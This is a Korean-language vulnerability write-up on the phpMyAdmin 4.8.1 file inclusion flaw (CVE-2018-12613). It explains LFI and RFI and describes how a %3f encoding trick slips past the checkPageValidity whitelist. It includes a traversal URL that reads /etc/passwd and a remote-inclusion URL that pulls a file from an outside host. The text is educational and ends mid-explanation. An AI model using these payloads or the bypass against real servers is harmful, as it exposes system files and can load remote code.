phpmyadmin File Inclusion 취약점(CVE-2018-12613)
- 악의적인 사용을 금합니다. 법적 책임은 본인에게 있습니다.
- 무단 도용/복제를 급합니다. 본 글의 저작권은 huti에게 있습니다.
URL에 파일 경로를 포함하면, 사용자가 웹서버에 있는 파일을 열람할 수 있는 취약점이다.
File Inclusion 취약점을 이용한 공격은 LFI(Local File Inclusion)와 RFI(Remote File Inclusion)로 나뉜다.
- LFI(Local File Inclusion) 공격
LFI 공격은 Directory Traversal 취약점을 많이 이용한다.
Directory Traversal 취약점은 브라우저로 웹서버의 특정 경로에 접근해 디렉토리를 이동할 수 있는 취약점이다.
다음은 Directory Traversal 취약점을 활용한 LFI 공격 예시이다.
http://example.com/index.php?file=../../../../etc/passwd
이전 경로로 이동하는 ../을 이용해 /etc/passwd 파일을 열람하려는 공격이다.
- RFI(Remote File Inclusion) 공격
RFI 공격은 URL 인자를 이용해 외부(원격) 웹서버의 파일에 접근하는 공격이다.
다음은 RFI 공격의 예시이다.
http://example.com/index.php?language=http://test.com/hackcode.bin
- phpmyadmin LFI 취약점 분석
phpmyadmin 4.8.1은 LFI 공격에 취약하다.
다음은 LFI 공격 성공 화면이다.
이 취약점은 URL Query String의 유효성을 검증하는 부분에서 발생한다.
index.php 코드를 보면, target 매개 변수를 검증하는 부분이 있다.(Core::checkPageValidity)
target 매개 변수를 검증할 때, core.php의 checkpagevalidity 함수를 이용한다.
core.php 코드를 보면, checkPageValidity 함수에서 유효성 검증을 한다.
url을 decodeing하는 부분에 %3f를 넣으면, %3f가 ?으로 변환되며, ? 앞에 whitelist가 오게 되면 true를 반환한다.
즉, 이 부분에서 필터링이 제대로 되지 않아 LFI 취약점이 발생하는 것이다.
다음은 core.php에 있는 whitelist 목록이다.